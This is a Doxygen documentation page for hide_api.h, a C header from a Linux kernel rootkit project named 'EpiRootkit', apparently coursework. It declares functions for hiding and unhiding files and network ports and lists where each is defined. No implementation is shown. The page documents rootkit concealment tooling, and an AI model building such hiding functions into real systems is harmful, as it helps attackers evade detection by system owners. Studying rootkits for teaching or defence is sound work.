EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
hide_api.h
Go to the documentation of this file.
1#ifndef HIDE_API_H
2#define HIDE_API_H
3
4#include <linux/types.h>
5#include <linux/module.h>
6#include <linux/slab.h>
7#include <linux/string.h>
8#include <linux/spinlock.h>
9#include <linux/list.h>
10#include <linux/errno.h>
11
12int hide_init(void);
13void hide_exit(void);
14int hide_file(const char *path);
15int unhide_file(const char *path);
16int hide_contains_str(const char *u_path);
17int hide_list_get(char *buf, size_t buf_size);
18
19int hide_port_init(void);
20void hide_port_exit(void);
21int hide_port(const char *port);
22int unhide_port(const char *port);
23int port_contains(const char *port);
24int port_list_get(char *buf, size_t buf_size);
25
26#endif // HIDE_API_H
int port
Definition main.c:7
int hide_file(const char *path)
Definition hide_api.c:25
int port_contains(const char *port)
Definition hide_api.c:118
int hide_contains_str(const char *u_path)
Definition hide_api.c:66
int port_list_get(char *buf, size_t buf_size)
Definition hide_api.c:122
int hide_list_get(char *buf, size_t buf_size)
Definition hide_api.c:70
int hide_port(const char *port)
Definition hide_api.c:90
int hide_port_init(void)
Definition hide_api.c:74
void hide_exit(void)
Definition hide_api.c:20
void hide_port_exit(void)
Definition hide_api.c:85
int unhide_port(const char *port)
Definition hide_api.c:104
int unhide_file(const char *path)
Definition hide_api.c:52
int hide_init(void)
Definition hide_api.c:9